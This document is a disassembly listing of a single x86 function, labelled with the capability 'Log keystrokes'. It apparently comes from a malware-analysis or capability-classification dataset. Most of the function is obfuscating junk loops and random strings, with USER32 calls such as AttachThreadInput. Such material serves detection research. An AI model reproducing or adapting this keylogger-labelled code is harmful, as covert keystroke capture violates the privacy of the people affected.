Function at 0x10011c80
Capabilities:
Log keystrokes

Disassembly:
mov eax, 0x10064052
call fcn.10063318
sub esp, 0x144
cmp byte [ebp + 0xc], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x90], ecx
je 0x10012689
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x58]
push 1
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x1c], edi
call fcn.10001f82
xor ebx, ebx
lea ecx, [ebp - 0xe4]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x88], 0xb7161ab6
mov dword [ebp - 0x78], 0xce028f4e
push 3
call fcn.10001f82
push 0x1ee2
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 1
push eax
push 0x577a
mov dword [ebp - 0x38], 0xf215a609
lea edx, [ebp - 0x8c]
push ebx
call fcn.10011b42
push 0x19d1
push 0x1207
push 0x921
lea eax, [ebp - 0x8c]
xor dl, dl
push eax
push 1
push 1
lea ecx, [ebp - 0xe4]
call fcn.10012a2b
mov dword [ebp - 0x14], 0x6c11
add esp, 0x28
cmp dword [ebp - 0x14], 0x6f1a
jle 0x10011da4
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov ecx, edi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x40], ebx
sar esi, cl
mov eax, esi
mov ecx, 0x10081838
and eax, ebx
cdq
push edx
push eax
call fcn.10001e6d
inc ebx
cmp ebx, 0x6791
jl 0x10011d58
mov esi, dword [ebp - 0x20]
inc edi
push 0
pop ebx
cmp edi, 0x3716
jl 0x10011d4e
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x6f74
jl 0x10011d4c
push 0x1328
push 0x156d
push ebx
push 0x8a4
push ebx
call dword [sym.imp.USER32.dll_GetMenuStringW]
mov byte [ebp - 4], 2
cmp dword [ebp - 0x14], 0x6913
jge 0x10011de4
mov edx, str.uoeqngb_hlbzmh_khpsz_zxabd_bhoelde_yrepciix_zvhsvxocl
mov ecx, 0x10081838
call fcn.100038af
jmp 0x10011de4
push 0x7e58
push ebx
lea eax, [ebp - 0x78]
mov dword [ebp - 4], 1
push eax
push 0x5335
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0xf0]
call fcn.10012b34
add esp, 0x18
lea ecx, [ebp - 0xe4]
call fcn.10001fdf
lea ecx, [ebp - 0xf0]
call fcn.10001fdf
xor eax, eax
mov dword [ebp - 0xf4], 7
mov dword [ebp - 0xf8], ebx
mov word [ebp - 0x108], ax
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 4
push 1
push eax
lea edx, [ebp - 0x108]
call fcn.100115bd
mov cl, 1
call fcn.10012fee
mov eax, dword [0x10148030]
pop ecx
pop ecx
test al, 1
jne 0x10011e90
or eax, 1
mov dword [0x10148030], eax
push 0xa441
mov byte [ebp - 4], 5
call fcn.10021ed6
pop ecx
mov word [0x10146c84], ax
mov byte [ebp - 4], 4
mov dword [ebp - 0x18], 0x213532fe
mov dword [ebp - 0x20], 0xfff7
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10011eb7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x134], 0xd94e8fe7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10011ea6
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
test eax, eax
setle cl
xor eax, eax
cmp ecx, 0x2000
setge al
cmp eax, dword [ebp - 0x18]
je 0x10012067
mov dword [ebp - 0x48], 0xa5a1
mov dword [ebp - 0x84], 6
mov dword [ebp - 0xac], 1
mov dword [ebp - 0x18], ebx
jmp 0x10011f24
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], 0
je 0x10011f21
push ecx
push ecx
xor cl, cl
call fcn.10012fee
pop ecx
pop ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x10011f0d
mov dword [ebp - 0x20], 0x192c
cmp dword [ebp - 0x20], 0x1c5c
jle 0x10011f72
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x40], ebx
mov eax, ebx
mov ecx, 0x10081838
and eax, esi
or eax, edi
cdq
push edx
push eax
call fcn.10001e6d
inc ebx
cmp ebx, 0x25dd
jl 0x10011f41
inc esi
push 0
pop ebx
cmp esi, 0x3366
jl 0x10011f3e
inc edi
cmp edi, 0x56d4
jl 0x10011f3c
mov dword [ebp - 0x18], 0xf
jmp 0x1001200d
push 0x7c9
push 0x2285
lea eax, [ebp - 0x68]
mov dword [ebp - 0x94], 0x2c5d
push eax
push 0x6276
lea eax, [ebp - 0xac]
push eax
push 0x202f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x48]
push eax
push ecx
lea eax, [ebp - 0x84]
mov ecx, 0x2479
push eax
push 0x58a9
lea eax, [ebp - 0x94]
push eax
push 0x2f43
push ebx
call fcn.100133c6
add esp, 0x38
mov dword [ebp - 0x48], 7
jmp 0x10012004
mov cl, 1
call fcn.100115eb
push 1
push ebx
mov byte [ebp - 0x39], bl
lea ecx, [ebp - 0x39]
push 0x1650
mov edx, 0x23e5
call fcn.10011c80
add esp, 0xc
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0x17
jne 0x10011fdf
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xf
jge 0x10011f7e
mov byte [ebp - 4], 6
cmp dword [ebp - 0x20], 0x164a
jge 0x10012033
mov edx, str.rfhzbrou_qxfc_hexhiruv_dzem_fvqozruqy_jsoiml_nnsriw
mov ecx, 0x10081838
call fcn.100038af
mov dword [ebp - 4], 4
jmp 0x10012082
mov dword [ebp - 0x18], ebx
jmp 0x1001207c
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x134]
mov dword [ebp - 0x68], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x1001206c
mov eax, dword [0x10148030]
test al, 2
jne 0x100120ac
or eax, 2
mov dword [0x10148030], eax
push 0xfe4d
mov byte [ebp - 4], 8
call fcn.10021ed6
pop ecx
mov word [0x10148034], ax
mov byte [ebp - 4], 4
push 1
lea ecx, [ebp - 0x114]
call fcn.10001f82
push 0x7cea
push 0x76d8
push 0x6c50
push 0x51e9
push 0x7785
push 0x6420
lea eax, [ebp - 0x118]
mov byte [ebp - 4], 9
push eax
push 1
push 0xce4
push 0x17d5
push ecx
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x38], 0x51c3c39b
mov edx, 0x2691
push eax
call fcn.10011469
lea eax, [ebp - 0x114]
xor dl, dl
push eax
mov ecx, 0x53f0
call fcn.10012a04
add esp, 0x34
mov dword [ebp - 0x14], ebx
jmp 0x10012177
push 2
lea ecx, [ebp - 0xb8]
call fcn.10001f82
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0xa
push eax
push ecx
push 0x4083
lea edx, [ebp - 0xa4]
mov cl, 1
call fcn.100116d9
add esp, 0xc
lea edx, [ebp - 0xb8]
call fcn.1001285a
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xb8]
cmp dword [ebp - 0x14], ebx
call fcn.10001fdf
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe5
jg 0x10012129
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 4
call fcn.10001fdf
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x54]
cmp esi, dword [eax]
jae 0x100124fa
lea eax, [ebp - 0x74]
mov dword [ebp - 0x60], 0x68206240
push eax
lea eax, [ebp - 0x70]
mov dword [ebp - 0x74], 5
push eax
push 0x1e64
lea eax, [ebp - 0x64]
mov dword [ebp - 0x64], 0xde37
push eax
push 0x556f
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0xdb81fdf2
push eax
push 0x5cb0
push 0x54ca
push ecx
push 0x7c5f
lea eax, [ebp - 0x60]
mov dword [ebp - 0x5c], 8
push eax
push 0x3a1
push 0x7a73
mov dword [ebp - 0x70], 0xceb8a064
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0xa8], 0x5eff85a0
push 1
call fcn.100133c6
add esp, 0x38
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x74]
push eax
push ecx
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x60]
push eax
sub esp, 0xc
lea ecx, [ebp - 0x70]
call fcn.1001381f
add esp, 0x28
call fcn.1001144c
push 0x34
xor edx, edx
mov dword [ebp - 0x2c], 0x2124
pop ecx
div ecx
mov dword [ebp - 0x28], 0x97515801
mov dword [ebp - 0x30], 0xffffffff
mov edi, edx
mov dword [ebp - 0x14], 0x90350d8a
mov dword [ebp - 0x40], 0xdb2b058e
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x4c], 0xfffffffb
mov dword [ebp - 0x38], edi
cmp dword [ebp - 0x2c], ebx
je 0x100123a0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xcee34edf
jb 0x1001229f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setg dl
cmp edx, 0xffffffff
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], 4
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x40]
imul eax, eax, 3
sub ecx, eax
je 0x100122d6
cmp dword [ebp - 0x1c], ebx
je 0x100122d6
xor edx, edx
inc edx
jmp 0x100122d8
mov edx, ebx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setne cl
sub ecx, eax
je 0x100123a0
push dword [ebp - 0xa4]
movdqa xmm0, xmmword [0x10073660]
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x128]
mov dword [ebp - 0x7c], 0x87b8b0d5
push eax
mov dword [ebp - 0x50], 0x4898d08f
lea ecx, [ebp - 0xa0]
push ebx
movdqu xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
call fcn.10009761
push ebx
lea eax, [ebp - 0x7c]
mov byte [ebp - 4], 0xb
push eax
push 0x5152
lea eax, [ebp - 0x2c]
mov edx, 0xb19
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x28]
push eax
push ecx
lea ecx, [ebp - 0x30]
call fcn.100130dd
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov dword [ebp - 0x30], eax
add esp, 0x20
mov eax, dword [ebp - 0xa0]
mov edx, dword [ebp - 0x50]
imul edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x30]
cmp eax, edx
setl cl
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 4
call fcn.10001fdf
jmp 0x100124c5
mov dword [ebp - 0x1c], 0x14
jmp 0x100123c5
mov dword [ebp - 0x28], 0xa
jmp 0x100123bc
xor cl, cl
call fcn.10012c26
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe5
jge 0x100123b2
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff6
jl 0x100123a9
mov dword [ebp - 0x30], 0xd
cmp dword [ebp - 0x30], 5
jne 0x100124bf
mov dword [ebp - 0x1c], 0x376a
cmp dword [ebp - 0x1c], 0x3a4e
jle 0x1001244e
mov esi, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x20], 0x59e4
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
lea ecx, [ebp - 0x14c]
cdq
push edx
push eax
call fcn.10001a31
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001241b
mov eax, dword [eax]
push eax
call fcn.1004b116
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x14c]
call fcn.100022d2
inc edi
cmp edi, 0x52b1
jl 0x100123fd
dec esi
dec dword [ebp - 0x20]
jne 0x100123fb
mov esi, dword [ebp - 0x14]
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0xa17
jl 0x100123f1
mov dword [ebp - 0x80], 0x2a7181ca
cmp dword [ebp - 0x1c], 0x35c2
jge 0x10012469
push str.tsqfbrgk_ckerlz_uwiancrg_vwewmgt_qkewnj_bdxy
call fcn.1004b116
pop ecx
mov dword [ebp - 4], 4
mov dword [ebp - 0x14], ebx
jmp 0x100124b1
push 0x79bb
push 0x4602
mov ecx, 0x7b5f
call fcn.10013358
push 0x747a
push 0x165
lea eax, [ebp - 0x80]
mov dl, 1
push eax
push 0x4e05
push ebx
push 1
mov ecx, 0x40d9
call fcn.10012cb9
add esp, 0x20
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffb
jg 0x10012475
dec dword [ebp - 0x30]
jmp 0x100123d2
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x38]
push 0x1a
pop ecx
cmp edi, ecx
jge 0x100124d7
movzx edx, word [0x10146c84]
add edx, edi
jmp 0x100124e5
mov eax, edi
cdq
idiv ecx
movzx eax, word [0x10148034]
add edx, eax
push edx
lea ecx, [ebp - 0x108]
call fcn.10013b1a
inc esi
mov dword [ebp - 0x24], esi
jmp 0x10012191
mov dword [ebp - 0x1c], 0xf57a7c20
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0x14], 0x7fa5c62e
push 3
call fcn.10001f82
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x54], 9
push 1
call fcn.10001f82
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x34], ebx
jmp 0x10012551
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xc0], 0xcdf9c775
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jl 0x10012540
lea eax, [ebp - 0xd8]
mov ecx, 0x1af3
push eax
push 1
push 0x1550
lea eax, [ebp - 0x34]
push eax
push 0x70cc
push 0x33fc
call fcn.10012b34
lea eax, [ebp - 0xcc]
mov edx, 0x5806
push eax
push 0x22cb
lea eax, [ebp - 0x34]
push eax
push 1
call fcn.10011b42
mov eax, dword [ebp - 0x1c]
add esp, 0x28
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x1c], ebx
jne 0x1001261a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setne dl
mov dword [ebp - 0xc0], edx
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xd8]
imul edx, ecx
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setne cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
cmp dword [ebp - 0x38], eax
setl cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
add eax, 0xffff3c5b
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
jg 0x1001261a
mov edx, ebx
jmp 0x1001261d
xor edx, edx
inc edx
mov eax, dword [ebp - 0x54]
xor ecx, ecx
cmp edx, eax
mov dl, 1
sete cl
sub ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xcc]
neg ecx
sbb ecx, ecx
sub esp, 0x1c
inc ecx
mov dword [eax], ecx
call fcn.10011b94
add esp, 0x1c
lea ecx, [ebp - 0xcc]
call fcn.10001fdf
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 4
call fcn.10001fdf
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x108]
cmp edi, eax
je 0x10012676
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
call fcn.10008966
push ebx
push 1
lea ecx, [ebp - 0x108]
call fcn.10008b6b
jmp 0x10012749
mov dword [ebp - 0x20], 0x3daf
xor ebx, ebx
cmp dword [ebp - 0x20], 0x410d
jle 0x100126f0
mov esi, ebx
mov dword [ebp - 0x4c], ebx
mov edi, ebx
mov eax, esi
mov dword [ebp - 0x24], 0x1726
cdq
idiv edi
mov esi, edx
mov dword [ebp - 0x38], ebx
mov ecx, ebx
mov eax, esi
sar eax, cl
mov ecx, 0x10081838
cdq
push edx
push eax
call fcn.10001e6d
inc ebx
cmp ebx, 0x5858
jl 0x100126b3
inc esi
dec dword [ebp - 0x24]
push 0
pop ebx
jne 0x100126b0
mov esi, dword [ebp - 0x4c]
inc edi
cmp edi, 0x43e
jl 0x100126a2
inc esi
mov dword [ebp - 0x4c], esi
cmp esi, 0x7c99
jl 0x100126a0
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x20], 0x3a4d
jge 0x1001272d
mov edx, str.jqc_dsackz_khqp_cukfj_zimi_hjzutrv_iasbzxk_zuvbqpbnz_dpgoor_fuyiub
mov ecx, 0x10081838
call fcn.100038af
jmp 0x1001272d
mov eax, dword [ebp - 0x90]
cmp byte [eax], 0
je 0x10012749
push ebx
push 0x25a1
push 0x26f
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret